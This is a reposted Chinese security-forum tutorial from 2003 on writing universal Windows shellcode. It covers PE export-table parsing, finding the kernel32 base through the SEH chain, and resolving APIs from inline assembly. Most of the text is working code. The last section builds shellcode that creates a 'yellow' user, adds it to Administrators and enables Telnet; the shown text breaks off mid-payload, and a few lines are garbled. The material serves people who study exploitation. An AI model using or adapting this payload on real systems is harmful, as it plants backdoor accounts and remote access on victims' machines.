快速通道

文档分类
- 红盟公告
- 新手上路
- 漏洞分析
- 工具介绍
- 安全配置
- 编程技术
- **安全技术**

<=
- 业界动态

本类热门
- 如何利用黑客技术跟踪并分析一名目标人物
- 有关无线安全与黑客的话题
- 让我们回归(by 默难)
- 通用ShellCode深入剖析[转]
- Format String 漏洞介绍/总结(一)
- 结合实例解读ELF文件-阅读笔记(1)

通用ShellCode深入剖析[转]

提交文章： bkbll
提交日期： 2004-01-07
文章属性： 转载
文档类别： 安全技术
浏览次数： 今4次/总5418次

[SafeChina推荐]通用ShellCode深入剖析

通用ShellCode深入剖析
作者:yellow
Email:yellow@safechina.net
Home Page:www.safechina.net
Date:2003-12-19
前言:
在网上关于ShellCode编写技术的文章已经非常之多,什么理由让我再写这种技术文章呢?本文是我上一篇溢出技术文章<Windows 2000缓冲区溢出技术原理>的姊妹篇,同样的在网上我们经常可以看到一些关于ShelCode编写技术的文章,似乎没有为初学者准备的,在这里我将站在初学者的角度对通用ShellCode进行比较详细的分析,有了上一篇的溢出理论和本篇的通用ShellCode理论,基本上我们就可以根据一些公布的Window溢出漏洞或是自己对一些软件系统进行反汇编分析出的溢出漏洞试着编写一些溢出攻击测试程序.
文章首先简单分析了PE文件格式及PE引出表,并给出了一个例程,演示了如何根据PE相关技术查找引出函数及其地址,随后分析了一种比较通用的获得Kernel32基址的方法,最后结合理论进行简单的应用,给出了一个通用ShellCode.
本文同样结合我学习时的理解以比较容易理解的方式进行描述,但由于ShellCode的复杂性,文章主要使用C和Asm来讲解,作者假设你已具有一定的C/Asm混合编程基础以及上一篇的溢出理论基础,希望本文能让和我一样初学溢出技术的朋友有所提高.

[目录]

1,PE文件结构的简介,及PE引出表的分析.
1.1 PE文件简介
1.2 引出表分析
1.3 使用内联汇编写一个通用的根据DLL基址获得引出函数地址的实用函数GetFunctionByName

2,通用Kernel32.DLL地址的获得方法.
2.1 结构化异常处理和TEB简介
2.2 使用内联汇编写一个通用的获得Kernel32.DLL函数基址的实用函数GetKernel32

3,综合运用(一个简单的通用ShellCode)
3.1 综合前面所讲解的技术编写一个添加帐号及开启Telnet的简单ShellCode:
根据第2节所述技术使用我们自己实现的GetFunctionByName获得LoadLibraryA和GetProcAddress函数地址,再使用这两个函数引入所有我们需要的函数实现期望的功能.

4,参考资料.

5,关键字.

一,PE文件结构及引出表基础
1,PE文件结构简介

PE(Portable Executable,移植的执行体),是微软Win32环境可执行文件的标准格式
(所谓可执行文件不光是.EXE文件,还包括.DLL/.VXD/.SYS/.VDM等)

PE文件结构(简化):

```
-----------------
|1,DOS MZ header|
-----------------
|2,DOS stub     |
-----------------
|3,PE header    |
-----------------
|4,Section table|
-----------------
|5,Section 1    |
-----------------
|6,Section 2    |
-----------------
|  Section ...  |
-----------------
|n,Section n    |
-----------------
```

记得在我还没有接确Win32编程时,我曾在Dos下运行过一个Win32可执行文件,程序只输出了一行"This program cannot be run in DOS mode.",我觉得很有意思,它是怎么识别自己不在Win32平台下的呢?其实它并没有进行识别,它可能简单到只输入这一行文字就退出了,可能源码就像下面的C程序这么简单:

```
#include <stdio.h>
void main(void)
{
printf("This program cannot be run in DOS mode.\n");
}
```

你可能会问"我在写Win32程序时并没有写过这样的语句啊?",其实这是由连接器(linker)为你构建的一个16位DOS程序,当在16位系统(DOS/Windows 3.x)下运行Win32程序时它才会
被执行用来输出一串字符提示用户"这个程序不能在DOS模式下运行".

我们先来看看DOS MZ header到底是什么东西,下面是它在Winnt.h中的结构描述:

```
typedef struct _IMAGE_DOS_HEADER { //DOS .EXE header
WORD e_magic; //0x00 Magic number
WORD e_cblp; //0x02 Bytes on last page of file
WORD e_cp; //0x04 Pages in file
WORD e_crlc; //0x06 Relocations
WORD e_cparhdr; //0x08 Size of header in paragraphs
WORD e_minalloc; //0x0a Minimum extra paragraphs needed
WORD e_maxalloc; //0x0c Maximum extra paragraphs needed
WORD e_ss; //0x0e Initial (relative) SS value
WORD e_sp; //0x10 Initial SP value
WORD e_csum; //0x12 Checksum
WORD e_ip; //0x14 Initial IP value
WORD e_cs; //0x16 Initial (relative) CS value
WORD e_lfarlc; //0x18 File address of relocation table
WORD e_ovno; //0x1a Overlay number
WORD e_res[4]; //0x1c Reserved words
WORD e_oemid; //0x24 OEM identifier (for e_oeminfo)
WORD e_oeminfo; //0x26 OEM information; e_oemid specific
WORD e_res2[10]; //0x28 Reserved words
LONG e_lfanew; //0x3c File address of new exe header
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
```

DOS MZ header中包括了一些16位DOS程序的初使化值如果IP(指令指针),cs(代码段寄存器),需要分配的内存大小,checksum(校验和)等,当DOS准备为可执行文件建立进程时会读取其
中的值来完成初使化工作.

留意到最后一个结构成员了吗?微软的人对它的描述是File address of new exe header
意义是"新的exe文件头部地址",它是一个相对偏移值,我想文件偏移量你一定知道是什么吧!
e_lfanew就是一个文件偏移值,它指向PE header,它对我们来说非常重要.紧跟着DOS MZ header
的是DOS stub它是linker为我们建立的这个16位DOS程序的代码实体部分,就是它输出了
"This program cannot be run in DOS mode.".再后面就是PE header了,有人曾问过我PE头部
相对于.exe文件的偏移是不是固定的?这个可不好说,不同的编译器生成的stub长度可能不一样
(比如:它可能存储了这样一个字串来提示用户"The Currnet OS is not Win32,I want to run in Win32 Mode.",那么这个stub的长度将比前面的那个长),所以用一个固定值来定位PE header
是不科学的,这个时候我们就用到了e_lfanew,它指向真正的PE header,它总是正确吗?那是当然
的!linker总是会它赋予一个正确的值.所以我们要它精确定位PE header,同样的Win32 PELoader
也根据e_lfanew来定位真正的PE header,并使用PE header中的不同的成员值进行初使化,PE还
包涵了很多个"节"(Section),有用来存储数据的,有用来存可执行代码的,还有的是用来存资源的(如:程序图标,位图,声音,对话框模板等)
下面我只简单分析一下PE结构与编写ShellCode相关的部分,如果你对其它部分也比较感兴趣
可以看看台港侯俊杰先生译的<Windows 95系统程序设计大奥秘>中的相关内容以及Iczelion的经
典PE教程,我个人觉得将两者结合起来看要好一点.

2,引出表分析

在PE header结构(你可以Winnt.h中找到它)中包括一个DataDirectory结构成员数组,可以通过这样的方法来找到它的位置:
PE头部偏移=可执行文件内存映象基址+0x3c(e_lfanew)
PE基址=可执行文件内存映象基址+PE头部偏移
引出表目录指针(IMAGE_EXPORT_DIRECTORY*)=PE基址+0x78<=---DataDirectory
引出函数名称表首指针(char**)=引出表目录基址+0x20
引出函数地址表首指针(DWORD **)=引出表目录指针+0x1c
它的结构定义是这样的:

```
typedef struct _Image_Data_Directory{
DWORD VirtualAddress;
DWORD isize;
}IMAGE_DATA_DIRECTORY,*PIMAGE_DATA_DIRECTORY;
```

该结构数组共包括16成员,第一个成员的VirtualAddress存储了一个相对偏移量,它指向一个IMAGE_EXPORT_DIRECTORY结构,它的定义是这样的:

```
typedef struct _IMAGE_EXPORT_DIRECTORY {
DWORD Characteristics;//0x00
DWORD TimeDateStamp;//0x04
WORD MajorVersion;//0x08
WORD MinorVersion;//0x0a
DWORD Name;//0x0c
DWORD Base;//0x10
DWORD NumberOfFunctions;//0x14
DWORD NumberOfNames;//0x18
DWORD AddressOfFunctions;//0x1c RVA from base of image
DWORD AddressOfNames;//0x20 RVA from base of image
DWORD AddressOfNameOrdinals;//0x24 RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
```

其中AddressOfFunctions里又存储了一个二级指针,它指向一个DWORD型指针数组该数组成员所指就是函数地址值,但其中的值是函数相对于可执行文件在内存映象中基地址的一个相对偏移值,真正的函数地址等于这个相对偏移值+可执行文件在内存映象中的基地址,我们可以Call这个计算后的真实地址来调用函数.AddressOfNames是一个二级字符指针,该数组

成员所指就是函数名称字符串相对于可执行文件在内存映象中的基地址的一个偏移值,同样可以通过相对偏移值+可执行文件在内存映象中的基地址来引用函数名称字串.Name也是一个
字符指针,它也只存储了相对偏移值,如果是kernel32的IMAGE_EXPORT_DIRECTORY那么它指向
的字串就为"KERNEL32.dll".

3,本节应用实例

关于PE和引出表我们已经分析了与编写ShellCode密切相关的部分,这一部分的确有点难,但一定要把它搞清楚,只有把它搞懂我们才能进行下一节的学习,在本节的最后附上一个小程序,
在内联汇编代码中大量使用了"间接引用",如果你对指针很熟悉基本上它很好理解,在程序里我
们实现了Windows API GetProcAddress的功能,这种技术对于想使用一些未公开的系统函数也是
非常之有用的.
---------- ----------

GetFunctionByName函数可以从一个PE执行文件中以函数名查找引出表并返回引出函数地址,只
需要知道KERNEL32.DLL的基地址值,使用它在本程序中我们不包括头文件也可以使用任何一个
Windows API.在我的机器上它是0x77e60000程序如下:

```
//GetFunctionByName.c
//原型:DWORD GetFunctionByName(DWORD ImageBase,const char*FuncName,int flen);
//参数:
// ImageBase: 可执行文件的内存映象基址
// FuncName: 函数名称指针
// flen: 函数名称长度
//返回值:
// 函数成功时返回有效的函数地址,失败时返回0.
//最终在写ShellCode时,应该给该函数加上__inline声明,因为它要与ShellCode融为一体.

//注意,在本例中我们没有包括任何一个.h文件

unsigned int GetFunctionByName(unsigned int ImageBase,const char*FuncName,int flen)
{
unsigned int FunNameArray,PE,Count=0,*IED;

__asm
{
mov eax,ImageBase
add eax,0x3c//指向PE头部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase
mov [IED],eax//指向IMAGE_EXPORT_DIRECTORY
//mov eax,[eax+0x0c]
//add eax,ImageBase//指向引出模块名,如果在查找KERNEL32.DLL的引出函数那么它将指向"KERNEL32.dll"
//mov eax,[IED]
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx//使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
```

```
rep cmpsb
jne FindNext//如果当前函数不是指定的函数则查找下一个
add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//获得函数地址表
shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
add eax,Count
mov eax,[eax]//获得函数地址相对偏移量
add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count//记录函数索引
add [FunNameArray],4//下一个函数名指针
mov eax,FunNameArray
pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环
loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:xor eax,eax//如果没有找到,则返回0
Found:
}
}
/*
让我们来测试一下,先用GetFunctionByName获得kernel32.dll中LoadLibraryA
的地址,再用它装载user32.dll,再用GetFunctionByName获得MessageBoxA的地址,call
它一下
*/
int main(void)
{

char title[]="test",user32[]="user32",msgf[]="MessageBoxA";
unsigned int loadlibfun;
loadlibfun=GetFunctionByName(0x77e60000,"LoadLibraryA",12);
//0x77e60000是我机器上的kernel32.dll的基址,不同机器上的值可能不同
__asm
{
lea eax,user32
push eax
call dword ptr loadlibfun //相当于执行LoadLibrary("user32");
lea ebx,msgf
push 0x0b//"MessageBoxA"的长度
push ebx
push eax
call GetFunctionByName
mov ebx,eax
add esp,0x0c//GetFunctionByName使用C调用约定,由调用者调整堆栈
push 0
lea eax,title
push eax
push eax
push 0
call ebx//相当于执行MessageBox(NULL,"test","test",MB_OK)
}
return 1;
}
```

函数的内联汇编代码有很多这样的语句:

```
mov eax,[somewhere]
mov eax,[eax+0x??]
add eax,ImageBase
```

我试过使用mov eax,[ImageBase+eax+0x??]之类的语法,因为用到很多多级指针,而它们指向
的又是相对偏移量所以要不断的"获取和计算",否则很容易导致"访问违例".编译运行,弹出了一个MessageBox标题和内容都是"test"看到了吗?你可能会问这个程序拿到其它机器上也可能
运行吗?在整个程序里我们唯一依赖的就是0x77e60000这个kernel32.dll基址,其它机器上的可能不是这个值,如果这个地址值可以在程序运行时动态的计算出来,那么这个程序将非常通用,它可以动态计算出来吗?答案是肯定的!下一节我们将来分析一种并不很流行但很通用的动态计算获得kernel32.dll基址的方法.

二,在动态获得Kernel32.DLL地址方法的分析

1,简析结构化异常处理(SEH,Structred Exception Handling)
SEH已经不是很什么新技术了,但是对于我将要讲了非常重要,所以在这里对它做一个简单的分析.Ok,打开VC,让我们来分析一个简单的"除"运算程序,看看它哪里有问题:

```
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
z=x/y;
printf("%d DIV %d = %d",x,y,z);
getch();
return 0;
}
```

编译,运行:输入4 2,程序输出"4 DIV 2 = 2",结果很正确.再运行输入 4 0,问题出来了,Visual Studio弹出了一个信息框:
"Unhandled exception in seh.exe:0xC0000094:Integer Divide by Zero",出现了未处理的"除0异常",传统的方法是我们在z=x/y之前加上判断:

```
#include <stdio.h>
#include <conio.h>
int main(void)
{
int x,y,z=y=x=0;
printf("Input two integer number:");
scanf("%d %d",&x,&y);
if(!y)
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
z=x/y;
printf("%d DIV %d = %d",x,y,z);
LQUIT:
getch();
return 0;
}
```

出错处理在这个小程序里这的确很容易看懂,可是想想如果在数千甚至上万行的程序里,这样的
错误捕获处理会让程序变的十分凌乱难懂,而且传统方法处理的是我们可以想像(猜测)到的错误,
但是某些导到程序出错的情况是很随机的,这样就不能保证程序的健壮性了,而SEH正是为了让正
常的处理代码和出错处理代码分开,以使程序结构清淅,并使程序更加
健壮.让我们再把这个小程序改一下:

```
#include <stdio.h>
#include <conio.h>
#include <windows.h>

int main(void)
{
int x,y,z=y=x=0;
printf("Input Two Integer Number:");
scanf("%d %d",&x,&y);
__try
{//把可能出错的程序段封装起来
z=x/y;
//.....
}
__except(EXCEPTION_EXECUTE_HANDLER)
{//在这里找出出现异常的原因,并进行处理
switch(GetExceptionCode())
{
case EXCEPTION_INT_DIVIDE_BY_ZERO://如果除0异常
{
printf("Can not Divide by Zero!");
goto LQUIT;
}
case EXCEPTION_ACCESS_VIOLATION://内存访问违例
```

```
{
//.....
break;
}
//do other......
default:
break;
}
}
printf("%d DIV %d = %d\n",x,y,z);
LQUIT:
getch();
return 0;
}
```

这样我们就使终都可以捕获到异常了,编译,选择"Disassembly",可以看到这样的代码:

```
push offset __except_handler3 (00401330)
mov eax,fs:[00000000]
push eax
mov dword ptr fs:[0],esp
```

这是实际上是标准的SEH异常处理函数的注册方法,我们的__except(){}实际在编译时被当成一个
线程相关的异常处理函数,实际上这段代码的作用是将我们的异常处理函数加入异常处理结构链
表EXCEPTION_REGISTRATION_RECORD,fs:[0]是这个异常处理函数链表的首指针,它的最后一条记录
的节点指针指向0xffffffff.它的结构描述是这样的:

```
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD * pNext; //指向后面的节点
FARPROC pfnHandler;//指向异常处理函数
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;
```

你可能会问"你怎么知道fs:[0]是该结构的首指针呢?",当然我没有那么天才,从Windows 95系统程序
设计一书中可以得知每当创建一个线程,系统均会为每个线程分配TEB(Thread Environment Block)
在Windows 9x中被称为TIB(Thread Information Block),而且TEB永远放在fs段选择器指定的数据段
的0偏移处.

再看一下TEB的结构定义你就会明白的:

```
typedef struct _TIB
{
PEXCEPTION_REGISTRATION_RECORD pvExcept; // 00h Head of exception record list<=---注意这个指针成员
---------------------------------------------------------
PVOID pvStackUserTop; // 04h Top of user stack
PVOID pvStackUserBase; // 08h Base of user stack

union // 0Ch (NT/Win95 differences)
{
struct // Win95 fields
{
WORD pvTDB; // 0Ch TDB
WORD pvThunkSS; // 0Eh SS selector used for thunking to 16 bits
DWORD unknown1; // 10h
} WIN95;

struct // WinNT fields
{
PVOID SubSystemTib; // 0Ch
ULONG FiberData; // 10h
} WINNT;
} TIB_UNION1;

PVOID pvArbitrary; // 14h Available for application use
struct _tib *ptibSelf; // 18h Linear address of TIB structure

union // 1Ch (NT/Win95 differences)
{
```

```
struct // Win95 fields
{
WORD TIBFlags; // 1Ch
WORD Win16MutexCount; // 1Eh
DWORD DebugContext; // 20h
DWORD pCurrentPriority; // 24h
DWORD pvQueue; // 28h Message Queue selector
} WIN95;

struct // WinNT fields
{
DWORD unknown1; // 1Ch
DWORD processID; // 20h <=---注意这个和下面一个成员
//-------------
DWORD threadID; // 24h <=---注意这个成员
//-------------
DWORD unknown2; // 28h
} WINNT;
} TIB_UNION2;

PVOID* pvTLSArray; // 2Ch Thread Local Storage array

union // 30h (NT/Win95 differences)
{
struct // Win95 fields
{
PVOID* pProcess; // 30h Pointer to owning Process Database
} WIN95;
} TIB_UNION3;

} TIB, *PTIB;
```

看见了吗?TEB的第一个成员pvExcept是异常处理链首指针Head of exception record list,它相对于
TEB首地址0x00偏移处,而TEB永远放在fs段寄存器的0x00偏移处,也就是fs段寄存器的0x00偏移处.
看到我让你留意的另两个成员了吗?processID存储了当前线程属进程的ID号,threadID存储了当前线程
ID号,这样我们又可以实现两Windows API了:

```
//MyAPI.c
#include <stdio.h>
#include <conio.h>
#include <windows.h>

__inline __declspec(naked)DWORD GetCurrentProcessId2(void)
{
__asm
{
mov eax,fs:[0x20]//读取TEB的processID成员内容,通过eax返回
ret
}
}

__inline __declspec(naked)DWORD GetCurrentThreadId2(void)
{
__asm
{
mov eax,fs:[0x24]//读取TEB的threadID成员内容,通过eax返回
ret
}
}
//测试一下
void main(void)
{
printf("MY PID=%d\tAPI PID=%d\n",GetCurrentProcessId2(),GetCurrentProcessId());
printf("MY TID=%d\tAPI TID=%d\n",GetCurrentThreadId2(),GetCurrentThreadId());
getch();
}
```

程序输出:

```
MY PID=1448 API PID=1448
MY TID=1204 API TID=1204
```

注意,不同的机器,不同时刻这里输出的值可能不一样,但MY PID恒等于API PID,MY TID恒等API TID.越
来越有意思了吧!说了这么多,那么这些与获得kernel32.dll基址有什么关系吗?不要着急,继续往下看你
就会明白的!

2,通过异常处理函数链表查找kernel32.dll基地址

现在让我们来看看异常处理的顺序,它是这样的:
当一个异常发生时,系统会从fs:[0]处读取异常处理函数链表首指针,开始问所有在应用程序中注册的
异常处理函数,比如上面的"除0异常",系统会把这个异常通知我们的异常处理函数,函数识别出是"除0异常",
并给予了处理(输出了"Can not Divide by Zero!"),并告诉系统"我已经处理过了,不用再问其它函数了".
如果我们的函数不打算处理这个异常可以交给兄弟节点中异常处理函数指针指向的其它异常处理函数
处理,如果程序中注册的异常处理均不处理这个异常,那么系统将把它发送给当前调试工具,如果应用程序当
前不处在调试状态或是调试工具也不处理这个异常的话,系统将把它发送给kernel32的UnhandledExceptionFilter
函数进行处理,当然它是由程序异常处理链最后一个节点的pfnHandler(参考EXCEPTION_REGISTRATION_RECORD)
函数指针成员指向的,该节点的pNext成员将指向0xffffffff.
看了这么多有点灵感了吗?我们已经有了kernel32.dll的一个引出函数的地址了,难道还找不出它的基址
吗?看看下面的这个小程序吧!

```
/*
原型:unsigned int GetKernel32(void);
参数:无
返回值:
函数总是能返回Kernel32.dll的基地址
说明:根据PE可执行文件特征从UnhandledExceptionFilter函数地址向上线性查找,使用__inline是为了与
最终的ShellCode融为一体,使用__declspec(naked)是为了不让编译器自作聪明生成一些"废话",让它
完全按照我们自己的Asm语句来描述函数.
*/
#include <stdio.h>
#include <conio.h>

__inline __declspec(naked) unsigned int GetKernel32()
{
__asm
{
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter//如果到达最后一个节点(它的pfnHandler指向UnhandledExceptionFilter)
mov eax,[eax]//否则往后遍历,一直到最后一个节点
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000//根据PE执行文件以64k对界的特征加快查找速度
cmp word ptr [eax],'ZM'//根据PE可执行文件特征查找KERNEL32.DLL的基址
jne MoveUp//如果当前地址不符全MZ头部特征,则向上查找
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'//根据PE可执行文件特征查找KERNEL32.DLL的基址
je Found//如果符合MZ及PE头部特征,则认为已经找到,并通过Eax返回给调用者
MoveUp:
dec eax//准备指向下一个界起始地址
jmp FindMZ
Found:
pop ecx
```

```
pop esi
ret
}
}

void main(void)
{
printf("%0.8X\n",GetKernel32());
getch();
}
```

完成了本节的学习以后,你应该掌握常用于编写病毒和ShellCode的几种技术:
1,根据PE文件查找引出函数地址
2,动态计算KERNEL32.DLL的基址
3,动态装载需要的运行库及动获得需要的Windows API(s)
在最后一节里我们将对前面所分析的技术做一个综合应用,写一个简单的ShellCode

三,综合运用
本节我们将综合前面分析的技术编写一个简单的通用ShellCode,这个ShellCode将首先在远程机器上新建一个
用户,用户名yellow,密码yellow,如果如果可能将把该用户加入Administrators用户组,如果可能还会打开Telnet
服务,请留意我的编码风格,这样风格对以后的ShellCode功能扩充提供很大方便.源程序如下:

```
////////////////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <winsock.h>
//定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便
#define APISTART 0
#define GETPROCADDRESS(APISTART+0)
#define LOADLIBRARY(APISTART+1)
#define EXITPROCESS(APISTART+2)
#define WINEXEC(APISTART+3)
#define KNLSTART(EXITPROCESS)
#define KNLEND(WINEXEC)
#define NKNLAPI(4)

#define WSOCKSTART(KNLEND+1)
#define SOCKET(WSOCKSTART+0)
#define BIND(WSOCKSTART+1)
#define CONNECT(WSOCKSTART+2)
#define ACCEPT(WSOCKSTART+3)
#define LISTEN(WSOCKSTART+4)
#define SEND(WSOCKSTART+5)
#define RECV(WSOCKSTART+6)
#define CLOSESOCKET(WSOCKSTART+7)
#define WSASTARTUP(WSOCKSTART+8)
#define WSACLEANUP(WSOCKSTART+9)
#define WSOCKEND(WSACLEANUP)
#define NWSOCKAPI(10)
//define NETAPI,RPCAPI.....
#define NAPIS (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.....*/)

#define DLLSTART 0
#define KERNELDLL(DLLSTART+0)
#define WS2_32DLL(DLLSTART+1)
#define DLLEND (WS2_32DLL)
#define NDLLS2

#define COMMAND_START 0
#define COMMAND_ADDUSER (COMMAND_START+0)
#define COMMAND_SETUSERADMIN(COMMAND_START+1)
#define COMMAND_OPENTLNT (COMMAND_START+2)
#define COMMAND_END (COMMAND_OPENTLNT)
#define NCMD3
void ShellCodeFun(void)
{
DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
int i;
char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
```

```
FARPROC API[NAPIS];
__asm
{//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
push esi
push ecx
mov esi,fs:0
lodsd
GetExeceptionFilter:
cmp [eax],0xffffffff
je GetedExeceptionFilter
mov eax,[eax]
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax+4]
FindMZ:
and eax,0xffff0000
cmp word ptr [eax],'ZM'
jne MoveUp
mov ecx,[eax+0x3c]
add ecx,eax
cmp word ptr [ecx],'EP'
je FoundKNL
MoveUp:
dec eax
jmp FindMZ
FoundKNL:
pop ecx
pop esi
mov DLLS[KERNELDLL* type DWORD],eax
mov ImageBase,eax
call LGETPROCADDRESS
_emit 'G';
_emit 'e';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'A';
_emit 'd';
_emit 'd';
_emit 'r';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LGETPROCADDRESS:
pop eax
mov APINAMES[GETPROCADDRESS * 4],eax
mov FuncName,eax
mov flen,0x0d
mov Count,0
call FindApi
mov API[GETPROCADDRESS *type FARPROC],eax
call LOADLIBRARYA
_emit 'L';
_emit 'o';
_emit 'a';
_emit 'd';
_emit 'L';
_emit 'i';
_emit 'b';
_emit 'r';
_emit 'a';
_emit 'r';
_emit 'y';
_emit 'A';
_emit 0x00
LOADLIBRARYA:
pop eax
mov APINAMES[LOADLIBRARY * 4],eax
mov FuncName,eax
```

```
mov flen,0x0b
mov Count,0
call FindApi
mov API[LOADLIBRARY * type FARPROC],eax
}
__asm
{
//2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
call KERNEL32
_emit 'k';
_emit 'e';
_emit 'r';
_emit 'n';
_emit 'e';
_emit 'l';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
KERNEL32:
pop DLLNAMES[KERNELDLL*4]
call WS2_32
_emit 'w';
_emit 's';
_emit '2';
_emit '_';
_emit '3';
_emit '2';
_emit '.'
_emit 'd'
_emit 'l'
_emit 'l'
_emit 0x00
WS2_32:
pop DLLNAMES[WS2_32DLL * 4]
//3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样
call LEXITPROCESS//1
_emit 'E';
_emit 'x';
_emit 'i';
_emit 't';
_emit 'P';
_emit 'r';
_emit 'o';
_emit 'c';
_emit 'e';
_emit 's';
_emit 's';
_emit 0x00
LEXITPROCESS:
pop APINAMES[EXITPROCESS * 4]
call LWINEXEC//2
_emit 'W';
_emit 'i';
_emit 'n';
_emit 'E';
_emit 'x';
_emit 'e';
_emit 'c';
_emit 0x00
LWINEXEC:
pop APINAMES[WINEXEC * 4]
call LSOCKET//3
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
```

```
_emit 0x00
LSOCKET:
pop APINAMES[SOCKET * 4]
call LBIND//4
_emit 'b';
_emit 'i';
_emit 'n';
_emit 'd';
_emit 0x00
LBIND:
pop APINAMES[BIND * 4]
call LCONNECT
_emit 'c';
_emit 'o';
_emit 'n';
_emit 'n';
_emit 'e';
_emit 'c';
_emit 't';
_emit 0x00
LCONNECT:
pop APINAMES[CONNECT * 4]
call LACCEPT//5
_emit 'a';
_emit 'c';
_emit 'c';
_emit 'e';
_emit 'p';
_emit 't';
_emit 0x00
LACCEPT:
pop APINAMEScall LLISTEN//6
_emit 'l';
_emit 'i';
_emit 's';
_emit 't';
_emit 'e';
_emit 'n';
_emit 0x00
LLISTEN:
pop APINAMES[LISTEN * 4]
call LSEND//7
_emit 's';
_emit 'e';
_emit 'n';
_emit 'd';
_emit 0x00
LSEND:
pop APINAMES[SEND * 4]
call LRECV//8
_emit 'r';
_emit 'e';
_emit 'c';
_emit 'v';
_emit 0x00
LRECV:
pop APINAMES[RECV * 4]
call CLOSESOCKETL//9
_emit 'c';
_emit 'l';
_emit 'o';
_emit 's';
_emit 'e';
_emit 's';
_emit 'o';
_emit 'c';
_emit 'k';
_emit 'e';
_emit 't';
_emit 0x00
CLOSESOCKETL:
pop APINAMES[CLOSESOCKET * 4]
```

```
call WSASTARTUPL//10
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'S';
_emit 't';
_emit 'a';
_emit 'r';
_emit 't';
_emit 'u';
_emit 'p';
_emit 0x00
WSASTARTUPL:
pop APINAMES[WSASTARTUP * 4]
call WSACLEANUPL//11
_emit 'W';
_emit 'S';
_emit 'A';
_emit 'C';
_emit 'l';
_emit 'e';
_emit 'a';
_emit 'n';
_emit 'u';
_emit 'p';
_emit 0x00
WSACLEANUPL:
pop APINAMES[WSACLEANUP * 4]
//nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容

//填写
}
//3,装载所有需要的DLL
for(i=DLLSTART;i<=DLLEND;i++)
{
DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]);
}
//4,获取所有需要的API
//4.1取得Windows Kernel API
for(i=KNLSTART;i<=KNLEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]);
}
//4.2取得Windows Sockets API
for(i=WSOCKSTART;i<=WSOCKEND;i++)
{
API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]);
}
//5,编写ShellCode的功能实体部分
__asm
{
call PUTCOMMAND_ADDUSER
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'u'
_emit 's'
_emit 'e'
_emit 'r'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
```

```
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_ADDUSER:
pop CMD[COMMAND_ADDUSER * 4]
call PUTCOMMAND_SETUSERADMIN
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 'l'
_emit 'o'
_emit 'c'
_emit 'a'
_emit 'l'
_emit 'g'
_emit 'r'
_emit 'o'
_emit 'u'
_emit 'p'
_emit ' '
_emit 'A'
_emit 'd'
_emit 'm'
_emit 'i'
_emit 'n'
_emit 'i'
_emit 's'
_emit 't'
_emit 'r'
_emit 'a'
_emit 't'
_emit 'o'
_emit 'r'
_emit 's'
_emit ' '
_emit 'y'
_emit 'e'
_emit 'l'
_emit 'l'
_emit 'o'
_emit 'w'
_emit ' '
_emit '/'
_emit 'a'
_emit 'd'
_emit 'd'
_emit 0x00
PUTCOMMAND_SETUSERADMIN:
pop CMD[COMMAND_SETUSERADMIN*4]
call PUTCOMMAND_OPENTLNT
_emit 'n'
_emit 'e'
_emit 't'
_emit ' '
_emit 's'
_emit 't'
_emit 'a'
